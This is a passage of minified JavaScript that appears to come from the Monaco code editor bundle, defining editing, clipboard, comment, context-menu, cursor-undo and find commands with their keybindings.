f(t,e),t.prototype.runEditorCommand=function(e,t,n){t.pushUndoStop(),t.executeCommands(this.id,v.TypeOperations.lineBreakInsert(t._getCursorConfiguration(),t.getModel(),t.getSelections()))},t}(u.EditorCommand))),e.Outdent=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"outdent\",precondition:c.EditorContextKeys.writable,kbOpts:{weight:C,kbExpr:p.ContextKeyExpr.and(c.EditorContextKeys.textFocus,c.EditorContextKeys.tabDoesNotMoveFocus),primary:1026}})||this}return f(t,e),t.prototype.runEditorCommand=function(e,t,n){t.pushUndoStop(),t.executeCommands(this.id,v.TypeOperations.outdent(t._getCursorConfiguration(),t.getModel(),t.getSelections())),t.pushUndoStop()},t}(u.EditorCommand))),e.Tab=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"tab\",precondition:c.EditorContextKeys.writable,kbOpts:{weight:C,kbExpr:p.ContextKeyExpr.and(c.EditorContextKeys.textFocus,c.EditorContextKeys.tabDoesNotMoveFocus),primary:2}})||this}return f(t,e),t.prototype.runEditorCommand=function(e,t,n){t.pushUndoStop(),t.executeCommands(this.id,v.TypeOperations.tab(t._getCursorConfiguration(),t.getModel(),t.getSelections())),t.pushUndoStop()},t}(u.EditorCommand))),e.DeleteLeft=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"deleteLeft\",precondition:c.EditorContextKeys.writable,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:1,secondary:[1025],mac:{primary:1,secondary:[1025,294,257]}}})||this}return f(t,e),t.prototype.runEditorCommand=function(e,t,n){var i=_.DeleteOperations.deleteLeft(t._getCursorConfiguration(),t.getModel(),t.getSelections()),o=i[0],r=i[1];o&&t.pushUndoStop(),t.executeCommands(this.id,r)},t}(u.EditorCommand))),e.DeleteRight=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"deleteRight\",precondition:c.EditorContextKeys.writable,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:20,mac:{primary:20,secondary:[290,276]}}})||this}return f(t,e),t.prototype.runEditorCommand=function(e,t,n){var i=_.DeleteOperations.deleteRight(t._getCursorConfiguration(),t.getModel(),t.getSelections()),o=i[0],r=i[1];o&&t.pushUndoStop(),t.executeCommands(this.id,r)},t}(u.EditorCommand)))}(t.CoreEditingCommands||(t.CoreEditingCommands={}));var L;!function(e){function t(e){return e.get(h.ICodeEditorService).getFocusedCodeEditor()}function n(e){var t=e.get(m.IEditorService),n=t.getActiveEditor&&t.getActiveEditor();return h.getCodeEditor(n)}function i(e){d.KeybindingsRegistry.registerCommandAndKeybindingRule(e.toCommandAndKeybindingRule(C))}function o(e){i(new s(\"default:\"+e,e)),i(new s(e,e))}var r=function(e){function i(t){var n=e.call(this,t)||this;return n._editorHandler=t.editorHandler,n._inputHandler=t.inputHandler,n}return f(i,e),i.prototype.runCommand=function(e,i){var o=t(e);if(o&&o.isFocused())return this._runEditorHandler(o,i);var r=document.activeElement;if(!(r&&[\"input\",\"textarea\"].indexOf(r.tagName.toLowerCase())>=0)){var s=n(e);return s?(s.focus(),this._runEditorHandler(s,i)):void 0}document.execCommand(this._inputHandler)},i.prototype._runEditorHandler=function(e,t){var n=this._editorHandler;\"string\"==typeof n?e.trigger(\"keyboard\",n,t):((t=t||{}).source=\"keyboard\",n.runEditorCommand(null,e,t))},i}(u.Command);i(new r({editorHandler:E.SelectAll,inputHandler:\"selectAll\",id:\"editor.action.selectAll\",precondition:null,kbOpts:{weight:C,kbExpr:null,primary:2079}})),i(new r({editorHandler:y.Undo,inputHandler:\"undo\",id:y.Undo,precondition:c.EditorContextKeys.writable,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:2104}})),i(new r({editorHandler:y.Redo,inputHandler:\"redo\",id:y.Redo,precondition:c.EditorContextKeys.writable,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:2103,secondary:[3128],mac:{primary:3128}}}));var s=function(e){function n(t,n){var i=e.call(this,{id:t,precondition:null})||this;return i._handlerId=n,i}return f(n,e),n.prototype.runCommand=function(e,n){var i=t(e);i&&i.trigger(\"keyboard\",this._handlerId,n)},n}(u.Command);o(y.Type),o(y.ReplacePreviousChar),o(y.CompositionStart),o(y.CompositionEnd),o(y.Paste),o(y.Cut)}(L||(L={}))}),define(d[449],h([1,0,12,20,134]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e,t,n,i,o){this.configuration=e,this.viewModel=t,this._execCoreEditorCommandFunc=n,this.outgoingEvents=i,this.commandService=o}return e.prototype._execMouseCommand=function(e,t){t.source=\"mouse\",this._execCoreEditorCommandFunc(e,t)},e.prototype.paste=function(e,t,n){this.commandService.executeCommand(i.Handler.Paste,{text:t,pasteOnNewLine:n})},e.prototype.type=function(e,t){this.commandService.executeCommand(i.Handler.Type,{text:t})},e.prototype.replacePreviousChar=function(e,t,n){this.commandService.executeCommand(i.Handler.ReplacePreviousChar,{text:t,replaceCharCnt:n})},e.prototype.compositionStart=function(e){this.commandService.executeCommand(i.Handler.CompositionStart,{})},e.prototype.compositionEnd=function(e){this.commandService.executeCommand(i.Handler.CompositionEnd,{})},e.prototype.cut=function(e){this.commandService.executeCommand(i.Handler.Cut,{})},e.prototype._validateViewColumn=function(e){var t=this.viewModel.getLineMinColumn(e.lineNumber);return e.column<t?new n.Position(e.lineNumber,t):e},e.prototype._hasMulticursorModifier=function(e){switch(this.configuration.editor.multiCursorModifier){case\"altKey\":return e.altKey;case\"ctrlKey\":return e.ctrlKey;case\"metaKey\":return e.metaKey}return!1},e.prototype._hasNonMulticursorModifier=function(e){switch(this.configuration.editor.multiCursorModifier){case\"altKey\":return e.ctrlKey||e.metaKey;case\"ctrlKey\":return e.altKey||e.metaKey;case\"metaKey\":return e.ctrlKey||e.altKey}return!1},e.prototype.dispatchMouse=function(e){e.startedOnLineNumbers?this._hasMulticursorModifier(e)?e.inSelectionMode?this.lastCursorLineSelect(e.position):this.createCursor(e.position,!0):e.inSelectionMode?this.lineSelectDrag(e.position):this.lineSelect(e.position):e.mouseDownCount>=4?this.selectAll():3===e.mouseDownCount?this._hasMulticursorModifier(e)?e.inSelectionMode?this.lastCursorLineSelectDrag(e.position):this.lastCursorLineSelect(e.position):e.inSelectionMode?this.lineSelectDrag(e.position):this.lineSelect(e.position):2===e.mouseDownCount?this._hasMulticursorModifier(e)?this.lastCursorWordSelect(e.position):e.inSelectionMode?this.wordSelectDrag(e.position):this.wordSelect(e.position):this._hasMulticursorModifier(e)?this._hasNonMulticursorModifier(e)||(e.shiftKey?this.columnSelect(e.position,e.mouseColumn):e.inSelectionMode?this.lastCursorMoveToSelect(e.position):this.createCursor(e.position,!1)):e.inSelectionMode?this.moveToSelect(e.position):this.moveTo(e.position)},e.prototype._usualArgs=function(e){return e=this._validateViewColumn(e),{position:this.convertViewToModelPosition(e),viewPosition:e}},e.prototype.moveTo=function(e){this._execMouseCommand(o.CoreNavigationCommands.MoveTo,this._usualArgs(e))},e.prototype.moveToSelect=function(e){this._execMouseCommand(o.CoreNavigationCommands.MoveToSelect,this._usualArgs(e))},e.prototype.columnSelect=function(e,t){e=this._validateViewColumn(e),this._execMouseCommand(o.CoreNavigationCommands.ColumnSelect,{position:this.convertViewToModelPosition(e),viewPosition:e,mouseColumn:t})},e.prototype.createCursor=function(e,t){e=this._validateViewColumn(e),this._execMouseCommand(o.CoreNavigationCommands.CreateCursor,{position:this.convertViewToModelPosition(e),viewPosition:e,wholeLine:t})},e.prototype.lastCursorMoveToSelect=function(e){this._execMouseCommand(o.CoreNavigationCommands.LastCursorMoveToSelect,this._usualArgs(e))},e.prototype.wordSelect=function(e){this._execMouseCommand(o.CoreNavigationCommands.WordSelect,this._usualArgs(e))},e.prototype.wordSelectDrag=function(e){this._execMouseCommand(o.CoreNavigationCommands.WordSelectDrag,this._usualArgs(e))},e.prototype.lastCursorWordSelect=function(e){this._execMouseCommand(o.CoreNavigationCommands.LastCursorWordSelect,this._usualArgs(e))},e.prototype.lineSelect=function(e){this._execMouseCommand(o.CoreNavigationCommands.LineSelect,this._usualArgs(e))},e.prototype.lineSelectDrag=function(e){this._execMouseCommand(o.CoreNavigationCommands.LineSelectDrag,this._usualArgs(e))},e.prototype.lastCursorLineSelect=function(e){this._execMouseCommand(o.CoreNavigationCommands.LastCursorLineSelect,this._usualArgs(e))},e.prototype.lastCursorLineSelectDrag=function(e){this._execMouseCommand(o.CoreNavigationCommands.LastCursorLineSelectDrag,this._usualArgs(e))},e.prototype.selectAll=function(){this._execMouseCommand(o.CoreNavigationCommands.SelectAll,{})},e.prototype.convertViewToModelPosition=function(e){return this.viewModel.coordinatesConverter.convertViewPositionToModelPosition(e)},e.prototype.emitKeyDown=function(e){this.outgoingEvents.emitKeyDown(e)},e.prototype.emitKeyUp=function(e){this.outgoingEvents.emitKeyUp(e)},e.prototype.emitContextMenu=function(e){this.outgoingEvents.emitContextMenu(e)},e.prototype.emitMouseMove=function(e){this.outgoingEvents.emitMouseMove(e)},e.prototype.emitMouseLeave=function(e){this.outgoingEvents.emitMouseLeave(e)},e.prototype.emitMouseUp=function(e){this.outgoingEvents.emitMouseUp(e)},e.prototype.emitMouseDown=function(e){this.outgoingEvents.emitMouseDown(e)},e.prototype.emitMouseDrag=function(e){this.outgoingEvents.emitMouseDrag(e)},e.prototype.emitMouseDrop=function(e){this.outgoingEvents.emitMouseDrop(e)},e}();t.ViewController=r}),define(d[450],h([1,0,342,21,13,241]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(e){function t(t,n){var i=e.call(this,n)||this;return i.left=t,i}return f(t,e),t.prototype.run=function(e,t){for(var n=[],i=t.getSelections(),o=0;o<i.length;o++)n.push(new r.MoveCaretCommand(i[o],this.left));t.pushUndoStop(),t.executeCommands(this.id,n),t.pushUndoStop()},t}(o.EditorAction);(function(e){function t(){return e.call(this,!0,{id:\"editor.action.moveCarretLeftAction\",label:n.localize(0,null),alias:\"Move Caret Left\",precondition:i.EditorContextKeys.writable})||this}f(t,e),t=v([o.editorAction],t)})(s),function(e){function t(){return e.call(this,!1,{id:\"editor.action.moveCarretRightAction\",label:n.localize(1,null),alias:\"Move Caret Right\",precondition:i.EditorContextKeys.writable})||this}f(t,e),t=v([o.editorAction],t)}(s)}),define(d[451],h([1,0,343,2,21,13,73]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){function t(){return e.call(this,{id:\"editor.action.transposeLetters\",label:n.localize(0,null),alias:\"Transpose Letters\",precondition:o.EditorContextKeys.writable,kbOpts:{kbExpr:o.EditorContextKeys.textFocus,primary:0,mac:{primary:306}}})||this}f(t,e),t.prototype.run=function(e,t){for(var n=t.getModel(),o=[],r=t.getSelections(),a=0;a<r.length;a++){var u=r[a];if(u.isEmpty()){var l=u.startLineNumber,c=u.startColumn;if(1!==c&&c!==n.getLineMaxColumn(l)){var d=n.getLineContent(l),h=d.charAt(c-2),p=d.charAt(c-1),f=new i.Range(l,c-1,l,c+1);o.push(new s.ReplaceCommand(f,p+h))}}}o.length>0&&(t.pushUndoStop(),t.executeCommands(this.id,o),t.pushUndoStop())},t=v([r.editorAction],t)}(r.EditorAction)}),define(d[452],h([1,0,344,28,15,42,13,154,21,314]),function(e,t,n,i,o,r,s,a,u){\"use strict\";function l(e){return e?s.editorAction:function(){}}Object.defineProperty(t,\"__esModule\",{value:!0});var c=\"9_cutcopypaste\",d=o.isNative||document.queryCommandSupported(\"cut\"),h=o.isNative||document.queryCommandSupported(\"copy\"),p=h&&!i.isEdgeOrIE,g=o.isNative||!i.isChrome&&document.queryCommandSupported(\"paste\"),m=function(e){function t(t,n){var i=e.call(this,n)||this;return i.browserCommand=t,i}return f(t,e),t.prototype.runCommand=function(e,t){var n=e.get(r.ICodeEditorService).getFocusedCodeEditor();n&&n.isFocused()?n.trigger(\"keyboard\",this.id,t):document.execCommand(this.browserCommand)},t.prototype.run=function(e,t){t.focus(),document.execCommand(this.browserCommand)},t}(s.EditorAction);(function(e){function t(){var t={kbExpr:u.EditorContextKeys.textFocus,primary:2102,win:{primary:2102,secondary:[1044]}};return o.isNative||(t=null),e.call(this,\"cut\",{id:\"editor.action.clipboardCutAction\",label:n.localize(0,null),alias:\"Cut\",precondition:u.EditorContextKeys.writable,kbOpts:t,menuOpts:{group:c,order:1}})||this}f(t,e),t.prototype.run=function(t,n){!n.getConfiguration().emptySelectionClipboard&&n.getSelection().isEmpty()||e.prototype.run.call(this,t,n)},t=v([l(d)],t)})(m),function(e){function t(){var t={kbExpr:u.EditorContextKeys.textFocus,primary:2081,win:{primary:2081,secondary:[2067]}};return o.isNative||(t=null),e.call(this,\"copy\",{id:\"editor.action.clipboardCopyAction\",label:n.localize(1,null),alias:\"Copy\",precondition:null,kbOpts:t,menuOpts:{group:c,order:2}})||this}f(t,e),t.prototype.run=function(t,n){!n.getConfiguration().emptySelectionClipboard&&n.getSelection().isEmpty()||e.prototype.run.call(this,t,n)},t=v([l(h)],t)}(m),function(e){function t(){var t={kbExpr:u.EditorContextKeys.textFocus,primary:2100,win:{primary:2100,secondary:[1043]}};return o.isNative||(t=null),e.call(this,\"paste\",{id:\"editor.action.clipboardPasteAction\",label:n.localize(2,null),alias:\"Paste\",precondition:u.EditorContextKeys.writable,kbOpts:t,menuOpts:{group:c,order:3}})||this}f(t,e),t=v([l(g)],t)}(m),function(e){function t(){return e.call(this,\"copy\",{id:\"editor.action.clipboardCopyWithSyntaxHighlightingAction\",label:n.localize(3,null),alias:\"Copy With Syntax Highlighting\",precondition:null,kbOpts:{kbExpr:u.EditorContextKeys.textFocus,primary:null}})||this}f(t,e),t.prototype.run=function(t,n){!n.getConfiguration().emptySelectionClipboard&&n.getSelection().isEmpty()||(a.CopyOptions.forceCopyWithSyntaxHighlighting=!0,e.prototype.run.call(this,t,n),a.CopyOptions.forceCopyWithSyntaxHighlighting=!1)},t=v([l(p)],t)}(m)}),define(d[453],h([1,0,10,33,24,7,13,17,56,18]),function(e,t,n,i,o,r,s,a,u,l){\"use strict\";function c(e){var t=[],o=a.CodeLensProviderRegistry.ordered(e),s=o.map(function(i){return l.asWinJsPromise(function(t){return i.provideCodeLenses(e,t)}).then(function(e){if(Array.isArray(e))for(var n=0,o=e;n<o.length;n++){var r=o[n];t.push({symbol:r,provider:i})}},n.onUnexpectedExternalError)});return r.TPromise.join(s).then(function(){return i.mergeSort(t,function(e,t){return e.symbol.range.startLineNumber<t.symbol.range.startLineNumber?-1:e.symbol.range.startLineNumber>t.symbol.range.startLineNumber?1:o.indexOf(e.provider)<o.indexOf(t.provider)?-1:o.indexOf(e.provider)>o.indexOf(t.provider)?1:e.symbol.range.startColumn<t.symbol.range.startColumn?-1:e.symbol.range.startColumn>t.symbol.range.startColumn?1:0})})}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getCodeLensData=c,s.CommonEditorRegistry.registerLanguageCommand(\"_executeCodeLensProvider\",function(e,t){var i=t.resource;if(!(i instanceof o.default))throw n.illegalArgument();var r=e.get(u.IModelService).getModel(i);if(!r)throw n.illegalArgument();return c(r).then(function(e){return e.map(function(e){return e.symbol})})})}),define(d[454],h([1,0,345,40,21,13,189,250]),function(e,t,n,i,o,r,s,a){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var u=function(e){function t(t,n){var i=e.call(this,n)||this;return i._type=t,i}return f(t,e),t.prototype.run=function(e,t){var n=t.getModel();if(n){for(var i=[],o=t.getSelections(),r=n.getOptions(),s=0;s<o.length;s++)i.push(new a.LineCommentCommand(o[s],r.tabSize,this._type));t.pushUndoStop(),t.executeCommands(this.id,i),t.pushUndoStop()}},t}(r.EditorAction);(function(e){function t(){return e.call(this,0,{id:\"editor.action.commentLine\",label:n.localize(0,null),alias:\"Toggle Line Comment\",precondition:o.EditorContextKeys.writable,kbOpts:{kbExpr:o.EditorContextKeys.textFocus,primary:2133}})||this}f(t,e),t=v([r.editorAction],t)})(u),function(e){function t(){return e.call(this,1,{id:\"editor.action.addCommentLine\",label:n.localize(1,null),alias:\"Add Line Comment\",precondition:o.EditorContextKeys.writable,kbOpts:{kbExpr:o.EditorContextKeys.textFocus,primary:i.KeyChord(2089,2081)}})||this}f(t,e),t=v([r.editorAction],t)}(u),function(e){function t(){return e.call(this,2,{id:\"editor.action.removeCommentLine\",label:n.localize(2,null),alias:\"Remove Line Comment\",precondition:o.EditorContextKeys.writable,kbOpts:{kbExpr:o.EditorContextKeys.textFocus,primary:i.KeyChord(2089,2099)}})||this}f(t,e),t=v([r.editorAction],t)}(u),function(e){function t(){return e.call(this,{id:\"editor.action.blockComment\",label:n.localize(3,null),alias:\"Toggle Block Comment\",precondition:o.EditorContextKeys.writable,kbOpts:{kbExpr:o.EditorContextKeys.textFocus,primary:1567,linux:{primary:3103}}})||this}f(t,e),t.prototype.run=function(e,t){for(var n=[],i=t.getSelections(),o=0;o<i.length;o++)n.push(new s.BlockCommentCommand(i[o]));t.pushUndoStop(),t.executeCommands(this.id,n),t.pushUndoStop()},t=v([r.editorAction],t)}(r.EditorAction)}),define(d[455],h([1,0,346,3,7,4,75,69,46,19,85,21,13,25,30]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var m=function(){function e(e,t,n,i,o,r){var s=this;this._contextMenuService=t,this._contextViewService=n,this._contextKeyService=i,this._keybindingService=o,this._menuService=r,this._toDispose=[],this._contextMenuIsBeingShownCount=0,this._editor=e,this._toDispose.push(this._editor.onContextMenu(function(e){return s._onContextMenu(e)})),this._toDispose.push(this._editor.onDidScrollChange(function(e){s._contextMenuIsBeingShownCount>0&&s._contextViewService.hideContextView()})),this._toDispose.push(this._editor.onKeyDown(function(e){58===e.keyCode&&(e.preventDefault(),e.stopPropagation(),s.showContextMenu())}))}return t=e,e.get=function(e){return e.getContribution(t.ID)},e.prototype._onContextMenu=function(e){if(!this._editor.getConfiguration().contribInfo.contextmenu)return this._editor.focus(),void(e.target.position&&!this._editor.getSelection().containsPosition(e.target.position)&&this._editor.setPosition(e.target.position));if(e.target.type!==p.MouseTargetType.OVERLAY_WIDGET&&(e.event.preventDefault(),e.target.type===p.MouseTargetType.CONTENT_TEXT||e.target.type===p.MouseTargetType.CONTENT_EMPTY||e.target.type===p.MouseTargetType.TEXTAREA)){this._editor.focus(),e.target.position&&!this._editor.getSelection().containsPosition(e.target.position)&&this._editor.setPosition(e.target.position);var t;e.target.type!==p.MouseTargetType.TEXTAREA&&(t={x:e.event.posx,y:e.event.posy+1}),this.showContextMenu(t)}},e.prototype.showContextMenu=function(e){if(this._editor.getConfiguration().contribInfo.contextmenu)if(this._contextMenuService){var t=this._getMenuActions();t.length>0&&this._doShowContextMenu(t,e)}else this._editor.focus()},e.prototype._getMenuActions=function(){var e=[],t=this._menuService.createMenu(c.MenuId.EditorContext,this._contextKeyService),n=t.getActions({arg:this._editor.getModel().uri});t.dispose();for(var i=0,o=n;i<o.length;i++){var r=o[i][1];e.push.apply(e,r),e.push(new s.Separator)}return e.pop(),e},e.prototype._doShowContextMenu=function(e,t){var n=this;void 0===t&&(t=null);var i=this._editor.getConfiguration().contribInfo.hover;this._editor.updateOptions({hover:!1});var a=t;if(!a){this._editor.revealPosition(this._editor.getPosition()),this._editor.render();var u=this._editor.getScrolledVisiblePosition(this._editor.getPosition()),l=r.getDomNodePagePosition(this._editor.getDomNode()),c=l.left+u.left,d=l.top+u.top+u.height;a={x:c,y:d}}this._contextMenuIsBeingShownCount++,this._contextMenuService.showContextMenu({getAnchor:function(){return a},getActions:function(){return o.TPromise.as(e)},getActionItem:function(e){var t=n._keybindingFor(e);if(t)return new s.ActionItem(e,e,{label:!0,keybinding:t.getLabel(),isMenu:!0});var i=e;return\"function\"==typeof i.getActionItem?i.getActionItem():new s.ActionItem(e,e,{icon:!0,label:!0,isMenu:!0})},getKeyBinding:function(e){return n._keybindingFor(e)},onHide:function(e){n._contextMenuIsBeingShownCount--,n._editor.focus(),n._editor.updateOptions({hover:i})}})},e.prototype._keybindingFor=function(e){return this._keybindingService.lookupKeybinding(e.id)},e.prototype.getId=function(){return t.ID},e.prototype.dispose=function(){this._contextMenuIsBeingShownCount>0&&this._contextViewService.hideContextView(),this._toDispose=i.dispose(this._toDispose)},e.ID=\"editor.contrib.contextmenu\",e=t=v([g.editorContribution,y(1,a.IContextMenuService),y(2,a.IContextViewService),y(3,l.IContextKeyService),y(4,u.IKeybindingService),y(5,c.IMenuService)],e);var t}();t.ContextMenuController=m;!function(e){function t(){return e.call(this,{id:\"editor.action.showContextMenu\",label:n.localize(0,null),alias:\"Show Editor Context Menu\",precondition:null,kbOpts:{kbExpr:d.EditorContextKeys.textFocus,primary:1092}})||this}f(t,e),t.prototype.run=function(e,t){m.get(t).showContextMenu()},t=v([h.editorAction],t)}(h.EditorAction)}),define(d[456],h([1,0,13,3,21,30]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(e){this.selections=e}return e.prototype.equals=function(e){var t=this.selections.length;if(t!==e.selections.length)return!1;for(var n=0;n<t;n++)if(!this.selections[n].equalsSelection(e.selections[n]))return!1;return!0},e}(),a=function(e){function t(t){var n=e.call(this)||this;return n._editor=t,n._isCursorUndo=!1,n._undoStack=[],n._prevState=n._readState(),n._register(t.onDidChangeModel(function(e){n._undoStack=[],n._prevState=null})),n._register(t.onDidChangeModelContent(function(e){n._undoStack=[],n._prevState=null})),n._register(t.onDidChangeCursorSelection(function(e){!n._isCursorUndo&&n._prevState&&(n._undoStack.push(n._prevState),n._undoStack.length>50&&(n._undoStack=n._undoStack.splice(0,n._undoStack.length-50))),n._prevState=n._readState()})),n}return f(t,e),n=t,t.get=function(e){return e.getContribution(n.ID)},t.prototype._readState=function(){return this._editor.getModel()?new s(this._editor.getSelections()):null},t.prototype.getId=function(){return n.ID},t.prototype.cursorUndo=function(){for(var e=new s(this._editor.getSelections());this._undoStack.length>0;){var t=this._undoStack.pop();if(!t.equals(e))return this._isCursorUndo=!0,this._editor.setSelections(t.selections),void(this._isCursorUndo=!1)}},t.ID=\"editor.contrib.cursorUndoController\",t=n=v([r.editorContribution],t);var n}(i.Disposable);t.CursorUndoController=a;var u=function(e){function t(){return e.call(this,{id:\"cursorUndo\",precondition:null,kbOpts:{kbExpr:o.EditorContextKeys.textFocus,primary:2099}})||this}return f(t,e),t.prototype.runEditorCommand=function(e,t,n){a.get(t).cursorUndo()},t=v([n.editorCommand],t)}(n.EditorCommand);t.CursorUndo=u}),define(d[176],h([1,0,348,434,40,3,19,2,22,9,20,13,121,253,252,17,18,54,21,76,34]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_,C,b,w,S){\"use strict\";function E(e,t){var n=L.get(e);if(!n)return null;var i,o,r=n.getState(),s=r.wholeWord,a=r.matchCase;if(!e.isFocused()&&r.isRevealed&&r.searchString.length>0)i=r.searchString;else{var l=e.getSelection();if(l.startLineNumber!==l.endLineNumber&&!t.allowMultiline)return null;if(l.isEmpty()){var c=e.getModel().getWordAtPosition(l.getStartPosition());if(!c)return null;i=c.word,o=new u.Selection(l.startLineNumber,c.startColumn,l.startLineNumber,c.endColumn)}else i=e.getModel().getValueInRange(l).replace(/\\r\\n/g,\"\\n\");t.changeFindSearchString&&n.setSearchString(i)}return t.highlightFindOptions&&n.highlightFindOptions(),{searchText:i,matchCase:a,wholeWord:s,currentMatch:o}}Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.NoFocusChange=0]=\"NoFocusChange\",e[e.FocusFindInput=1]=\"FocusFindInput\",e[e.FocusReplaceInput=2]=\"FocusReplaceInput\"}(t.FindStartFocusAction||(t.FindStartFocusAction={})),t.CONTEXT_FIND_WIDGET_VISIBLE=new s.RawContextKey(\"findWidgetVisible\",!1),t.CONTEXT_FIND_WIDGET_NOT_VISIBLE=t.CONTEXT_FIND_WIDGET_VISIBLE.toNegated(),t.CONTEXT_FIND_INPUT_FOCUSSED=new s.RawContextKey(\"findInputFocussed\",!1);var L=function(e){function n(n,o,r){var s=e.call(this)||this;return s._editor=n,s._findWidgetVisible=t.CONTEXT_FIND_WIDGET_VISIBLE.bindTo(o),s._storageService=r,s._updateHistoryDelayer=new _.Delayer(500),s._currentHistoryNavigator=new i.HistoryNavigator,s._state=s._register(new p.FindReplaceState),s.loadQueryState(),s._register(s._state.addChangeListener(function(e){return s._onStateChanged(e)})),s._model=null,s._register(s._editor.onDidChangeModel(function(){var e=s._editor.getModel()&&s._state.isRevealed;s.disposeModel(),s._state.change({searchScope:null,matchCase:s._storageService.getBoolean(\"editor.matchCase\",w.StorageScope.WORKSPACE,!1),wholeWord:s._storageService.getBoolean(\"editor.wholeWord\",w.StorageScope.WORKSPACE,!1),isRegex:s._storageService.getBoolean(\"editor.isRegex\",w.StorageScope.WORKSPACE,!1)},!1),e&&s._start({forceRevealReplace:!1,seedSearchStringFromSelection:!1,shouldFocus:0,shouldAnimate:!1})})),s}return f(n,e),n.get=function(e){return e.getContribution(n.ID)},n.prototype.dispose=function(){this.disposeModel(),e.prototype.dispose.call(this)},n.prototype.disposeModel=function(){this._model&&(this._model.dispose(),this._model=null)},n.prototype.getId=function(){return n.ID},n.prototype._onStateChanged=function(e){this.saveQueryState(e),e.updateHistory&&e.searchString&&this._delayedUpdateHistory(),e.isRevealed&&(this._state.isRevealed?this._findWidgetVisible.set(!0):(this._findWidgetVisible.reset(),this.disposeModel()))},n.prototype.saveQueryState=function(e){e.isRegex&&void 0!==this._state.isRegex&&this._storageService.store(\"editor.isRegex\",this._state.isRegex,w.StorageScope.WORKSPACE),e.wholeWord&&void 0!==this._state.wholeWord&&this._storageService.store(\"editor.wholeWord\",this._state.wholeWord,w.StorageScope.WORKSPACE),e.matchCase&&void 0!==this._state.matchCase&&this._storageService.store(\"editor.matchCase\",this._state.matchCase,w.StorageScope.WORKSPACE)},n.prototype.loadQueryState=function(){this._state.change({matchCase:this._storageService.getBoolean(\"editor.matchCase\",w.StorageScope.WORKSPACE,this._state.matchCase),wholeWord:this._storageService.getBoolean(\"editor.wholeWord\",w.StorageScope.WORKSPACE,this._state.wholeWord),isRegex:this._storageService.getBoolean(\"editor.isRegex\",w.StorageScope.WORKSPACE,this._state.isRegex)},!1)},n.prototype._delayedUpdateHistory=function(){this._updateHistoryDelayer.trigger(this._updateHistory.bind(this))},n.prototype._updateHistory=function(){this._state.searchString&&this._currentHistoryNavigator.add(this._state.searchString)},n.prototype.getState=function(){return this._state},n.prototype.getHistory=function(){return this._currentHistoryNavigator},n.prototype.closeFindWidget=function(){this._state.change({isRevealed:!1,searchScope:null},!1),this._editor.focus()},n.prototype.toggleCaseSensitive=function(){this._state.change({matchCase:!this._state.matchCase},!1)},n.prototype.toggleWholeWords=function(){this._state.change({wholeWord:!this._state.wholeWord},!1)},n.prototype.toggleRegex=function(){this._state.change({isRegex:!this._state.isRegex},!1)},n.prototype.toggleSearchScope=function(){if(this._state.searchScope)this._state.change({searchScope:null},!0);else{var e=this._editor.getSelection();1===e.endColumn&&e.endLineNumber>e.startLineNumber&&(e=e.setEndPosition(e.endLineNumber-1,1)),e.isEmpty()||this._state.change({searchScope:e},!0)}},n.prototype.setSearchString=function(e){this._state.change({searchString:e},!1)},n.prototype.highlightFindOptions=function(){},n.prototype._start=function(e){if(this.disposeModel(),this._editor.getModel()){var t={isRevealed:!0};if(e.seedSearchStringFromSelection&&this._editor.getConfiguration().contribInfo.find.seedSearchStringFromSelection){var n=g.getSelectionSearchString(this._editor);n&&(this._state.isRegex?t.searchString=l.escapeRegExpCharacters(n):t.searchString=n)}e.forceRevealReplace?t.isReplaceRevealed=!0:this._findWidgetVisible.get()||(t.isReplaceRevealed=!1),this._state.change(t,!1),this._model||(this._model=new h.FindModelBoundToEditorModel(this._editor,this._state))}},n.prototype.start=function(e){this._start(e)},n.prototype.moveToNextMatch=function(){return!!this._model&&(this._model.moveToNextMatch(),!0)},n.prototype.moveToPrevMatch=function(){return!!this._model&&(this._model.moveToPrevMatch(),!0)},n.prototype.replace=function(){return!!this._model&&(this._model.replace(),!0)},n.prototype.replaceAll=function(){return!!this._model&&(this._model.replaceAll(),!0)},n.prototype.selectAllMatches=function(){return!!this._model&&(this._model.selectAllMatches(),this._editor.focus(),!0)},n.prototype.showPreviousFindTerm=function(){var e=this._currentHistoryNavigator.previous();return e&&this._state.change({searchString:e},!1,!1),!0},n.prototype.showNextFindTerm=function(){var e=this._currentHistoryNavigator.next();return e&&this._state.change({searchString:e},!1,!1),!0},n.ID=\"editor.contrib.findController\",n=v([y(1,s.IContextKeyService),y(2,w.IStorageService)],n)}(r.Disposable);t.CommonFindController=L;var x=function(e){function t(){return e.call(this,{id:h.FIND_IDS.StartFindAction,label:n.localize(0,null),alias:\"Find\",precondition:null,kbOpts:{kbExpr:null,primary:2084,mac:{primary:2084,secondary:[2083]}}})||this}return f(t,e),t.prototype.run=function(e,t){var n=L.get(t);n&&n.start({forceRevealReplace:!1,seedSearchStringFromSelection:!0,shouldFocus:1,shouldAnimate:!0})},t=v([d.editorAction],t)}(d.EditorAction);t.StartFindAction=x;var N=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.run=function(e,t){var n=L.get(t);n&&!this._run(n)&&(n.start({forceRevealReplace:!1,seedSearchStringFromSelection:0===n.getState().searchString.length,shouldFocus:0,shouldAnimate:!0}),this._run(n))},t}(d.EditorAction);t.MatchFindAction=N;var M=function(e){function t(){return 